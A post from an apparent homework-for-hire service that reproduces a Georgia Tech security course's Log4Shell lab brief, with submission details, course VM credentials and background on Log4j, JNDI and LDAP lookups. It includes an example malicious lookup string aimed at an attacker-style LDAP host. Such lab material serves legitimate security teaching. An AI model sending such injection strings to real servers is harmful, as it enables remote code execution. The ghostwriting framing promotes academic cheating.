2023年11月25日

Java代写｜GT CS 6035: Introduction to Information Security

这是一篇Java代写作业案例分享，主要作业内容是需要了解了通过jndi/ldap查找发送恶意Java有效负载的情况，以利用一个使用Log4j日志程序的脆弱的Java应用程序。一个简单的LDAP图书馆将用于帮助学生完成这个实验。

 

The final deliverables:

A single JSON formatted file will be submitted to Gradescope. This file should be named project_log4shell.json. A template can be found in the Home directory.

See Submission Details for more information

Important Reference Material:

  • Project Introduction (Might not match the project requirements exactly)
  • This simple LDAP server that will be used to run the exploit.
  • This Log4JExploit Intro and How Log4Shell Works to familiarize yourself with the exploit and how it is accomplished.
  • If you have no experience in Java, Log4j/logging, RESTful applications, JNDI, LDAP, we STRONGLY encourage you to do research into the topics. There are many great resources online like Google and YouTube.
  • Log4J Documentation
  • Hands on Introduction to Log4Shell exploit in general (not this project but helpful)
  • Helpful Linux Networking Commands
  • NCAT Command
  • https://securityblue.team/log4j-hunting-and-indicators/
  • If you would like to learn more about this exploit and Java Object Deserialization Vulnerabilities this paper written by Moritz Bechler is an excellent research paper: Java Unmarshaller Security and so is this BlackHat presentation: A JOURNEY FROM JNDI/LDAP MANIPULATION TO REMOTE CODE EXECUTION DREAM LAND

Submission:

Gradescope (autograded) – see Submission Details Virtual Machine:

(Note: downloads can be very slow when project first releases due to very high traffic in first few hours/day)

-Apple M1 based systems

-You cannot complete this project on an M1 based system.

-Intel/AMD x64 version

-Windows Virtualbox 6.1.16 Download

-Mac VirtualBox 6.1.16 Download (for Intel Macs only)

-Same as Project Capture the flag or VM Download

-Username: log4j, Password: konami-code. You will need to log out of the user for the previous CTF project and log in to the log4j user.

BACKGROUND

Log4J is a very popular open-source framework that allows application developers to log important messages such as program flow, program state, exceptions, etc. These messages can include user input, dynamic data, database results, etc.

Java Naming and Directory Interface (JNDI) creates a way for Java Objects to be looked up at runtime. There are many directory interfaces that provide different ways to lookup files. A common example is a database connection pool so that applications deployed on a server can get the connections they need by only needing to know the JNDI name instead of having to have the connection details. You can use Java Serialization to store the byte array representation of an object to store objects in a directory/naming service. JNDI uses Naming References if the object is too large such as “ldap://server/location”

Where this comes into play in this exploit, is the Lightweight Directory Access Protocol (LDAP) which is not specific to Java. LDAP provides the communication language that is required to receive and send information from directory services. It can be used for authentication like sending usernames/passwords or retrieving object data through a url from another server.

To tie this into Log4J, Log4J performs lookups which allow for string substitution of certain strings. These are in the form of ${prefix:name} i.e. a common one would be ${java:runtime}  and running this would produce “Running Java version 1.8.0_20”. Here is where the JNDI and LDAP come into play. ${jndi:<lookup>} is a valid lookup expression recognized by the lookup by Log4J.

A malicious user could specify a valid lookup protocol such as LDAP, RMI, or DNS in the JNDI lookup and direct the Log4J lookup to their malicious server/file. An example could be ${jndi:ldap://cs6035.com/exploitfile} which would load data from that domain if a connection can be established. Attackers can even get environment variables if RCE is disabled and learn about the server/server environment. Often, HTTP requests log header information, query parameters, path parameters, and more which allow a vector for this attack to take place. With this background, now we are ready to start this lab.

Here is a visual of the Log4j exploit and how it is accomplished (you can zoom in if this is too small via ctrl + scroll):